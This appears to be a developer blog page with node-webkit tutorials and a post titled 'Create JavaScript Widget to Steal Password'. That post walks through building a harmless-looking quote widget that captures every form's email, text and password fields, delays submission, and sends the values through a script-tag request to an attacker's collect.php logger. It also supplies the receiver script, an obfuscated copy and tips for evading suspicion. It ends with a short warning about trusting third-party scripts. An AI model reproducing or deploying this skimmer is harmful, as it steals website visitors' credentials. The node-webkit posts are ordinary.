[Quick Tips] Load External JavaScript File in node-webkit

If you have been reading my posts about node-webkit, I usually write the javascript code inside index.html file. This is simply for convenience. It doesn’t mean that you can’t write your javascript code in external files like what is common with regular website.

There are two ways we can load external JS file: <script> tag and node.js require() function.

We can use <script> tag just like in regular HTML page.

<script src="multiply.regular.js"></script>
<script>
var x = new Multiply(3, 4);
console.log(x.result());
</script>

But I think for node-webkit it’s more natural to use node.js require().

<script>
var Multiply = require('./multiply.node.js');
var x = new Multiply(5, 6);
console.log(x.result());
</script>

Inside the multiply.node.js file, we set which object will be returned via magic variable module.exports.

function Multiply(a, b) {
  this.a = a;
  this.b = b;
}

Multiply.prototype.result = function () {
  return this.a * this.b;
};

module.exports = Multiply;

Note that module.exports will only exists if the script is included via require() function, if included using <script> tag, the script will produce an error because module is undefined.

If you want to know more about node.js require() function.

Create JavaScript Widget to Steal Password

Now this is an interesting topic. For years many people have said not to trust random javascript library you found on the internet and put it in your website, because you don’t know what that script actually doing. This time I will create the script that will steal login information.

This script is inspired by Steal My Login. That website warns you that interceptor might inject nasty script to the website you visit. Well, what if the website owner himself who injects similar nasty script?

The sample scenario is, you create a nice widget that does useful stuff. Maybe it shows nice calendar, or nice clock, or nice page views (this was very popular). To use your widget, website owner simply has to put one line of HTML code, like:

<script src="yourwebsite.com/script-widget.js"></script>

But, people don’t know that in the widget script there is a code that will capture any form submit event and send the input data to a server. Some people might not check the widget source code before putting it on their website, especially if they don’t understand front-end programming at all.

To create this kind of widget, we will use these steps:

  1. Create normal widget
  2. Inject capture event
  3. Send to server without AJAX
  4. Create receiver server
  5. Try it
  6. Obfuscate

Create Normal Widget

Before we create the bad stuff, create the good stuff first. Any kind of widget is applicable, but for this tutorial I’ll just create a short simple random quote widget.

Create the file quote-widget.js and fill it with this half complete script:

(function() {

var Widget = {
  install: function () {
    var quotes = [
      "I have a new philosophy. I'm only going to dread one day at a time. ~ Charles Schulz",
      "Reality is the leading cause of stress for those in touch with it. ~ Jack Wagner",
      "Few things are harder to put up with than the annoyance of a good example. ~ Mark Twain",
      "The pure and simple truth is rarely pure and never simple. ~ Oscar Wilde",
      "There's no business like show business, but there are several businesses like accounting. ~ David Letterman",
      "Man invented language to satisfy his deep need to complain. ~ Lily Tomlin"
    ];
    var index = Math.floor(Math.random() * quotes.length);
    var elem = "<div class='quote'>" + quotes[index] + "</div>";
    document.write(elem);
    Thief.plant();
  }
};

var Thief = {};
Thief.plant = function () {
  	// @todo
  }
};

Widget.install();
}());

I think you can understand how the widget works: pick random quote then print it. But, we add an extra Thief.plant(). We will implement this function in the next section.

Inject Capture Event

To inject our action, I adapt the code from StealMyLogin.js. First, we add our onFormSubmit function to all forms:

Thief.plant = function () {
  // @todo onFormSubmit

  var forms = document.getElementsByTagName('form');
  for (var i=0; i < forms.length; i++) {
    var form = forms[i];

    if (form.addEventListener) {
      form.addEventListener('submit', onFormSubmit, true);
    } else if (form.attachEvent) {
      form.attachEvent('onsubmit', onFormSubmit);
    }
  }
};

Normally we will use addEventListener to add event handler, but for cross-browser compatibility (a.k.a. IE support), we have to include the possibility that only attachEvent exists. Do we really have to care about cross-browser? Well, if you want to be a bad guy, you need to study better than the good guy.

You notice that we inject our event handler to all forms. That’s because we can’t know for sure which form is the one we want to capture. So, just capture all of them and hope we hit a login form.

What do we do in onFormSubmit? We take all <input> value and collect it.

Thief.plant = function () {
  function onFormSubmit(event) {
    if (!event) event = window.event;

    var target;
    if (event.target) target = event.target;
    else if (event.srcElement) target = event.srcElement;
    if (!target) return;

    Thief.capture(target);
  }
  ...
};

Thief.capture = function (form) {
  var inputs = form.getElementsByTagName('input');
  var data = [];
  for (var i=0; i < inputs.length; i++) {
    var input = inputs[i];
    var type = input.getAttribute('type');
    if ((type == 'text') || (type == 'email') || (type == 'password')) {
      var name = input.getAttribute('name');
      data.push(name + '=' + input.value);
    }
  }

  if (data.length > 0) {
    Thief.report(data.join('&'));
  }
};

Thief.report = // @todo

The Thief.capture is pretty straightforward: take all inputs, if it’s text or email or password (or any other type you want) then collect it in the form of “key1=val1&key2=val2&etc...“.

Again, even for determining the target element, we need to check which properties available (event.target vs event.srcElement).

Send to Server Without AJAX

Normally you’ll use AJAX to send data to server without refreshing the page. But because of same-origin policy, you can’t do AJAX to different domain. And our script will absolutely be hosted in different domain, it’s an embeddable widget.

So, what to use then? There is a way to force the browser to load a URL: create an HTML element. Several elements have this ability, just to name a few:

<img src="load url">
<link href="load this">
<script src="load this">

You can also use CSS:

<div style="background-image:url(load this)">

The downside though, it’s a one way connection, you can load it but you don’t know when it is loaded and you can’t know the server actual response. Except for <script> though, you can use JSONP technique to mimic AJAX with <script>.

Luckily, our script only need one way communication.

Thief.report = function (text) {
  var script = document.createElement('script');
  script.src = 'http://yourwebsite.com/collect.php?' + text;
  document.getElementsByTagName('head')[0].appendChild(script);
};

We use <script> to send our captured data. It will be passed as GET parameters. You can see that we put the server destination there. Modify that URL to match your website, I recommend using local virtual host first. We will implement the server later.

You might think that this script works perfectly. But there is one problem, what if the page refreshes after the user click the submit button without giving the chance for our script to contact our server?

To solve that problem, we will give a delay between user click and the form actually submits. Modify our onFormSubmit function:

  var flag = false;
  function onFormSubmit(event) {
    ... // previous code

    setTimeout(function () {
      flag = true;
      var ev = document.createEvent("Event");
      ev.initEvent("submit", true, true);
      target.dispatchEvent(ev);
    }, 500);
    if (!flag) event.preventDefault();
  }

With this code, the first time the form is submitted, we cancel the process. But, we will resubmit the form after 500 milliseconds. The flag variable is to make sure we cancel the submit for the first time only.

Create Receiver Server

Now that our widget code is complete, we just have to create a server that will receive data sent by it. For this tutorial, I’ll use a simple PHP script. Make sure this script is accessible via http://yourwebsite.com/collect.php or whatever URL you put to the widget.

<?php
// collect.php
$log = 'dump.log';
$collect = array();
foreach ($_GET as $k => $v) {
  $collect[] = "$k: $v";
}
$line = implode(' | ', $collect)."\n";
file_put_contents($log, $line, FILE_APPEND);

Very simple, just convert all GET parameters to one line and append it to a file dump.log.

Try It

To try our widget, we create a simple HTML showing a login form.

<html>
<head></head>
<body>
  <section class="loginform cf">  
  <form name="login" action="#" method="post" accept-charset="utf-8">  
    <ul>  
      <li><label for="usermail">Email</label>  
      <input type="email" name="usermail" placeholder="yourname@email.com" required></li>  
      <li><label for="password">Password</label>  
      <input type="password" name="password" placeholder="password" required></li>  
      <li>  
      <input type="submit" value="Login"></li>  
    </ul>  
  </form>  
  </section>  

  <p>Quote of the day:</p>
  <script src="http://yourwebsite.com/quote-widget.js"></script>
</body>
</html>

Open that HTML file and act as if you are a user that logs in. Insert an email and password and then press the submit button.

login

You will realize that there is a delay between the moment you press the submit button and when the page refreshes.

Now, open the dump.log file to see the values you entered was written there:

usermail: aaaaa@aaa.com | password: aksjfksjdfk

Congratulations, you have a working password stealer.

Obfuscate

Sure, you can steal password now. But, even a quick glance at the source code will warn any person that this widget does nasty thing. What? With names like Thief, capture, collect, any person will know it has bad intention. The solution is obvious, you can change the names manually or automatically.

Lucky for us, there exist tools that do this automatically. It’s called “obfuscator”. An obfuscator will transform your source code to another source code that does the same thing but looks completely different. A Google search of “javascript obfuscator” will give you several alternatives, I tried http://javascriptobfuscator.com/.

To recap, this is the full code of our widget:

(function() {

var Widget = {
  install: function () {
    var quotes = [
      "I have a new philosophy. I'm only going to dread one day at a time. ~ Charles Schulz",
      "Reality is the leading cause of stress for those in touch with it. ~ Jack Wagner",
      "Few things are harder to put up with than the annoyance of a good example. ~ Mark Twain",
      "The pure and simple truth is rarely pure and never simple. ~ Oscar Wilde",
      "There's no business like show business, but there are several businesses like accounting. ~ David Letterman",
      "Man invented language to satisfy his deep need to complain. ~ Lily Tomlin"
    ];
    var index = Math.floor(Math.random() * quotes.length);
    var elem = "<div class='quote'>" + quotes[index] + "</div>";
    document.write(elem);
    Thief.plant();
  }
};

var Thief = {
  plant: function () {
    var flag = false;
    function onFormSubmit(event) {
      if (!event) event = window.event;

      var target;
      if (event.target) target = event.target;
      else if (event.srcElement) target = event.srcElement;
      if (!target) return;

      Thief.capture(target);

      setTimeout(function () {
        flag = true;
        var ev = document.createEvent("Event");
        ev.initEvent("submit", true, true);
        target.dispatchEvent(ev);
      }, 500);
      if (!flag) event.preventDefault();
    }


    var forms = document.getElementsByTagName('form');
    for (var i=0; i < forms.length; i++) {
      var form = forms[i];

      if (form.addEventListener) {
        form.addEventListener('submit', onFormSubmit, true);
      } else if (form.attachEvent) {
        form.attachEvent('onsubmit', onFormSubmit);
      }
    }
  },

  capture: function (form) {
    var inputs = form.getElementsByTagName('input');
    var data = [];
    for (var i=0; i < inputs.length; i++) {
      var input = inputs[i];
      var type = input.getAttribute('type');
      if ((type == 'text') || (type == 'email') || (type == 'password')) {
        var name = input.getAttribute('name');
        data.push(name + '=' + input.value);
      }
    }

    if (data.length > 0) {
      Thief.report(data.join('&'));
    }
  },
  
  report: function (text) {
    var script = document.createElement('script');
    script.src = 'http://yourwebsite.com/collect.php?' + text;
    document.getElementsByTagName('head')[0].appendChild(script);
  }
};

Widget.install();
}());

And this is what it looks like after obfuscation:

var _0xd0a9=["\x49\x20\x68\x61\x76\x65\x20\x61\x20\x6E\x65\x77\x20\x70\x68\x69\x6C\x6F\x73\x6F\x70\x68\x79\x2E\x20\x49\x27\x6D\x20\x6F\x6E\x6C\x79\x20\x67\x6F\x69\x6E\x67\x20\x74\x6F\x20\x64\x72\x65\x61\x64\x20\x6F\x6E\x65\x20\x64\x61\x79\x20\x61\x74\x20\x61\x20\x74\x69\x6D\x65\x2E\x20\x7E\x20\x43\x68\x61\x72\x6C\x65\x73\x20\x53\x63\x68\x75\x6C\x7A","\x52\x65\x61\x6C\x69\x74\x79\x20\x69\x73\x20\x74\x68\x65\x20\x6C\x65\x61\x64\x69\x6E\x67\x20\x63\x61\x75\x73\x65\x20\x6F\x66\x20\x73\x74\x72\x65\x73\x73\x20\x66\x6F\x72\x20\x74\x68\x6F\x73\x65\x20\x69\x6E\x20\x74\x6F\x75\x63\x68\x20\x77\x69\x74\x68\x20\x69\x74\x2E\x20\x7E\x20\x4A\x61\x63\x6B\x20\x57\x61\x67\x6E\x65\x72","\x46\x65\x77\x20\x74\x68\x69\x6E\x67\x73\x20\x61\x72\x65\x20\x68\x61\x72\x64\x65\x72\x20\x74\x6F\x20\x70\x75\x74\x20\x75\x70\x20\x77\x69\x74\x68\x20\x74\x68\x61\x6E\x20\x74\x68\x65\x20\x61\x6E\x6E\x6F\x79\x61\x6E\x63\x65\x20\x6F\x66\x20\x61\x20\x67\x6F\x6F\x64\x20\x65\x78\x61\x6D\x70\x6C\x65\x2E\x20\x7E\x20\x4D\x61\x72\x6B\x20\x54\x77\x61\x69\x6E","\x54\x68\x65\x20\x70\x75\x72\x65\x20\x61\x6E\x64\x20\x73\x69\x6D\x70\x6C\x65\x20\x74\x72\x75\x74\x68\x20\x69\x73\x20\x72\x61\x72\x65\x6C\x79\x20\x70\x75\x72\x65\x20\x61\x6E\x64\x20\x6E\x65\x76\x65\x72\x20\x73\x69\x6D\x70\x6C\x65\x2E\x20\x7E\x20\x4F\x73\x63\x61\x72\x20\x57\x69\x6C\x64\x65","\x54\x68\x65\x72\x65\x27\x73\x20\x6E\x6F\x20\x62\x75\x73\x69\x6E\x65\x73\x73\x20\x6C\x69\x6B\x65\x20\x73\x68\x6F\x77\x20\x62\x75\x73\x69\x6E\x65\x73\x73\x2C\x20\x62\x75\x74\x20\x74\x68\x65\x72\x65\x20\x61\x72\x65\x20\x73\x65\x76\x65\x72\x61\x6C\x20\x62\x75\x73\x69\x6E\x65\x73\x73\x65\x73\x20\x6C\x69\x6B\x65\x20\x61\x63\x63\x6F\x75\x6E\x74\x69\x6E\x67\x2E\x20\x7E\x20\x44\x61\x76\x69\x64\x20\x4C\x65\x74\x74\x65\x72\x6D\x61\x6E","\x4D\x61\x6E\x20\x69\x6E\x76\x65\x6E\x74\x65\x64\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x20\x74\x6F\x20\x73\x61\x74\x69\x73\x66\x79\x20\x68\x69\x73\x20\x64\x65\x65\x70\x20\x6E\x65\x65\x64\x20\x74\x6F\x20\x63\x6F\x6D\x70\x6C\x61\x69\x6E\x2E\x20\x7E\x20\x4C\x69\x6C\x79\x20\x54\x6F\x6D\x6C\x69\x6E","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x66\x6C\x6F\x6F\x72","\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x27\x71\x75\x6F\x74\x65\x27\x3E","\x3C\x2F\x64\x69\x76\x3E","\x77\x72\x69\x74\x65","\x70\x6C\x61\x6E\x74","\x65\x76\x65\x6E\x74","\x74\x61\x72\x67\x65\x74","\x73\x72\x63\x45\x6C\x65\x6D\x65\x6E\x74","\x63\x61\x70\x74\x75\x72\x65","\x45\x76\x65\x6E\x74","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x73\x75\x62\x6D\x69\x74","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x70\x72\x65\x76\x65\x6E\x74\x44\x65\x66\x61\x75\x6C\x74","\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x61\x74\x74\x61\x63\x68\x45\x76\x65\x6E\x74","\x6F\x6E\x73\x75\x62\x6D\x69\x74","\x69\x6E\x70\x75\x74","\x74\x79\x70\x65","\x67\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x74\x65\x78\x74","\x65\x6D\x61\x69\x6C","\x70\x61\x73\x73\x77\x6F\x72\x64","\x6E\x61\x6D\x65","\x3D","\x76\x61\x6C\x75\x65","\x70\x75\x73\x68","\x26","\x6A\x6F\x69\x6E","\x72\x65\x70\x6F\x72\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x68\x69\x65\x66\x2E\x6C\x6F\x63\x61\x6C\x2E\x63\x6F\x6D\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x2E\x70\x68\x70\x3F","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x69\x6E\x73\x74\x61\x6C\x6C"];(function (){var _0x1c91x1={install:function (){var _0x1c91x2=[_0xd0a9[0],_0xd0a9[1],_0xd0a9[2],_0xd0a9[3],_0xd0a9[4],_0xd0a9[5]];var _0x1c91x3=Math[_0xd0a9[8]](Math[_0xd0a9[6]]()*_0x1c91x2[_0xd0a9[7]]);var _0x1c91x4=_0xd0a9[9]+_0x1c91x2[_0x1c91x3]+_0xd0a9[10];document[_0xd0a9[11]](_0x1c91x4);_0x1c91x5[_0xd0a9[12]]();} };var _0x1c91x5={plant:function (){var _0x1c91x6=false;function _0x1c91x7(_0x1c91x8){if(!_0x1c91x8){_0x1c91x8=window[_0xd0a9[13]];} ;var _0x1c91x9;if(_0x1c91x8[_0xd0a9[14]]){_0x1c91x9=_0x1c91x8[_0xd0a9[14]];} else {if(_0x1c91x8[_0xd0a9[15]]){_0x1c91x9=_0x1c91x8[_0xd0a9[15]];} ;} ;if(!_0x1c91x9){return ;} ;_0x1c91x5[_0xd0a9[16]](_0x1c91x9);setTimeout(function (){_0x1c91x6=true;var _0x1c91xa=document[_0xd0a9[18]](_0xd0a9[17]);_0x1c91xa[_0xd0a9[20]](_0xd0a9[19],true,true);_0x1c91x9[_0xd0a9[21]](_0x1c91xa);} ,500);if(!_0x1c91x6){_0x1c91x8[_0xd0a9[22]]();} ;} ;var _0x1c91xb=document[_0xd0a9[24]](_0xd0a9[23]);for(var _0x1c91xc=0;_0x1c91xc<_0x1c91xb[_0xd0a9[7]];_0x1c91xc++){var _0x1c91xd=_0x1c91xb[_0x1c91xc];if(_0x1c91xd[_0xd0a9[25]]){_0x1c91xd[_0xd0a9[25]](_0xd0a9[19],_0x1c91x7,true);} else {if(_0x1c91xd[_0xd0a9[26]]){_0x1c91xd[_0xd0a9[26]](_0xd0a9[27],_0x1c91x7);} ;} ;} ;} ,capture:function (_0x1c91xd){var _0x1c91xe=_0x1c91xd[_0xd0a9[24]](_0xd0a9[28]);var _0x1c91xf=[];for(var _0x1c91xc=0;_0x1c91xc<_0x1c91xe[_0xd0a9[7]];_0x1c91xc++){var _0x1c91x10=_0x1c91xe[_0x1c91xc];var _0x1c91x11=_0x1c91x10[_0xd0a9[30]](_0xd0a9[29]);if((_0x1c91x11==_0xd0a9[31])||(_0x1c91x11==_0xd0a9[32])||(_0x1c91x11==_0xd0a9[33])){var _0x1c91x12=_0x1c91x10[_0xd0a9[30]](_0xd0a9[34]);_0x1c91xf[_0xd0a9[37]](_0x1c91x12+_0xd0a9[35]+_0x1c91x10[_0xd0a9[36]]);} ;} ;if(_0x1c91xf[_0xd0a9[7]]>0){_0x1c91x5[_0xd0a9[40]](_0x1c91xf[_0xd0a9[39]](_0xd0a9[38]));} ;} ,report:function (_0x1c91x13){var _0x1c91x14=document[_0xd0a9[42]](_0xd0a9[41]);_0x1c91x14[_0xd0a9[43]]=_0xd0a9[44]+_0x1c91x13;document[_0xd0a9[24]](_0xd0a9[46])[0][_0xd0a9[45]](_0x1c91x14);} };_0x1c91x1[_0xd0a9[47]]();} ());

Perfect! Nobody can tell what it does now. This is the code that you will share to the world. If anybody asks, just say that it’s minified so it looks like that. Put a nice label on it, “Free javascript quote” or “Free quote for your website” or something.

Afterthought

Several improvements you can make:

  • Make your server URL less obvious, “http://ab.in/s.php” will look less dangerous than “http://evilserver.com/capturepassword.php”
  • You can store the website name for every data you capture, use the Referer header
  • The 500 milliseconds delay is customizable, if you think that’s too long
  • To make people less suspicious when there is a delay of form submit, you can change the submit button label to “Loading…” or just put a loading image there
  • Be more selective about which form we should inject, you can use the existence of “password” field to determine it’s login form. If you inject all forms, you’ll capture many useless data from other forms, like search form
  • Create an awesome widget first

I hope this tutorial will teach you not to trust other people’s javascript code, unless you have verified that it’s safe. It doesn’t have to be a widget, an advertisement script is another example. You as a website owner must put the advertiser’s script to your website. If you don’t check it, that script could capture credential information of your visitors without you knowing it.

Accessing File System with node-webkit

One advantage of node-webkit over conventional HTML app is the ability to access file system. We know that regular JavaScript can’t access file system. It must be because of security concern, can you imagine if the website you visit can access your files and put virus or something.

With node-webkit, we can utilize node.js to access our file system. Basically anything you can do with node.js can be done in node-webkit. To demonstrate this ability, we are going to create an app.

App Explanation

What we are going to build is a very simple text editor. The app consists solely of one textarea. Anything you write there will be saved in a file, and the next time you open the app, the text will be loaded from the file.

Asynchronous VS Synchronous Operation

If you know node.js, you know that almost all of its I/O operations are asynchronous. Asynchronous means the next statement will be executed even before the current operation is finished. Luckily, the file system module we are going to use has both asynchronous and synchronous operations.

As example, here’s how we used to see how reading a file is:

var fs = require("fs");
var data = fs.readFileSync("foo.txt", "utf8");

console.log(data);

And this is what the asynchronous version looks like:

var fs = require("fs");

fs.readFile("foo.txt", "utf8", function(error, data) {
  console.log(data);
});

Here’s an article about file system in node.js.

Requirements

  • node-webkit (just download and extract it)
  • text editor (I recommend Sublime Text or Notepad++)

Prepare The Workspace

Create a new directory and create these three files:

package.json

{
  "name": "filesystemdemo",
  "main": "index.html",
  "nodejs": true,
  "window": {
    "toolbar": false,
    "width": 800,
    "height": 600
  }
}

package.json is the file needed by node-webkit to recognize your application. The complete explanation of this file can be found in its wiki.

index.html empty file

This is the file that will be loaded at program startup (as we stated in the package.json above). This is just an ordinary HTML file.

deploy.bat (or just deploy if you are on Linux)

/path/to/node-webkit/nw.exe .

This is just a shortcut script to run our source code with node-webkit.

Window Closed Event

We need to put an operation when the app is closed. Coming from JavaScript background, my first instinct is to use window.onbeforeunload. But, I tried it and failed. Luckily there is a workaround using nw.gui.

var gui = require('nw.gui');
gui.Window.get().on('close', function() {
  // operations
  this.close(true); // don't forget this line, else you can't close it (I tried)
});

Create The App

Open our empty index.html file and put this code, this is the entire app.

<!DOCTYPE html>
<html>
  <head>
    <title>File system Demo</title>
    <style type="text/css">
    #content {
      width: 100%;
    }
    </style>
  </head>
  <body>

  <p>
    <textarea id="content" rows="33"></textarea>
  </p>

  <script>
  var fs = require("fs");
  var gui = require('nw.gui');

  var App = {
    FILE: "content.txt",

    el: document.getElementById("content"),

    init: function () {
      this.load();

      gui.Window.get().on('close', function() {
        App.save();
        this.close(true);
      });
    },

    load: function () {
      if (fs.existsSync(this.FILE)) {
        var content = fs.readFileSync(this.FILE, "utf8");
        this.el.value = JSON.parse(content);
      }
    },

    save: function () {
      var content = this.el.value;
      fs.writeFileSync(this.FILE, JSON.stringify(content), "utf8");
    }
  };

  App.init();

  </script>
  </body>
</html>

Code Explanation

The first thing we do is adding the textarea element. We give it an id to easily refer to it later.

  <p>
    <textarea id="content" rows="33"></textarea>
  </p>

After that, we start putting our JavaScript code and prepare the stuffs we need. Just for convenience, I put all the methods we need in an object App.

  var fs = require("fs");
  var gui = require('nw.gui');

  var App = {
    FILE: "content.txt",

    el: document.getElementById("content"),

    ...
  };

“fs” is node.js module for file system access and “nw.gui” is module from node-webkit to access, you guessed it, the GUI system.

At the start of the app, we will load the content from a file and put it in our textarea. So, we create a load function.

    load: function () {
      if (fs.existsSync(this.FILE)) {
        var content = fs.readFileSync(this.FILE, "utf8");
        this.el.value = JSON.parse(content);
      }
    },

I use readFileSync because it’s easier to use and I save the content in JSON format for reason I will explain later.

When the app is closed, we save the content in a file. That’s the save function.

    save: function () {
      var content = this.el.value;
      fs.writeFileSync(this.FILE, JSON.stringify(content), "utf8");
    }

The last step is to connect these two functions to the appropriate events. We create an init function that will be called when the app is started.

    init: function () {
      this.load();

      gui.Window.get().on('close', function() {
        App.save();
        this.close(true);
      });
    },

  ...
  App.init();

Why JSON?

Normally, we would grab the content from textarea and store it to the file directly. Strangely, this didn’t work. The text in textarea and the content of file is different. I don’t know why this happens and I didn’t find any solution on the Internet. I suspect this has someting to do with the string encoding. I tried using both “utf8″ and “ascii” but still having the same problem.

So if I typed around 200 characters in the textarea and save it to the file directly, only the first about 70 characters are stored. But, when I converted it to JSON, the whole text is saved. Maybe the return value of JSON.stringify has different encoding, I don’t know. If you know the reason for this behavior, please let me know it the comment below.

Try It

Run the deploy.bat file and try the app. Put some text and close the app, then open the app again and see if the text persist.

try

Afterthought

Now that you know how to access file system in node-webkit, you can create many applications that store and load information from files. I still don’t know why I failed when I stored the text directly from DOM. If any of you know the answer, please comment below.

For more information:

[Quick Tips] Debugging in node-webkit

In any kind of programming, there will be times when we want to debug our code. In the most basic way, we do this by outputting some text. This text will be shown in standard output like the terminal.

In node-webkit, we are dealing with HTML document. If we want to output some text, we can do it by using the almost-never-used-again document.write function. But this is not effective, and even dangerous because document.write has nasty side-effect: if you call document.write after the document is fully loaded, it will replace the entire content. And that’s why document.write becomes a fossil.

Luckily, node-webkit has built-in developer tools. To use it, you must set “window.toolbar” as “true” in package.json.

{
  ...
  "window": {
    "toolbar": true
  }
}

Now, if you run the app, you will see an address bar with some icons.

toolbar

If you click on the icon to the right, the one that looks like three horizontal lines, it will show you the developer tools.

developer tools

This is the same kind of developer tools in Google Chrome. If you are used to Chrome Developer Tools, you are familiar with this already.

Back to debugging, instead of using document.write, you should use console.log. The output of this function will be shown in “Console” tab on that developer tools.

console

You can play a bit with this developer tools to see what other functionality it has. If you want more information, you can search for “chrome developer tools tips” on the internet.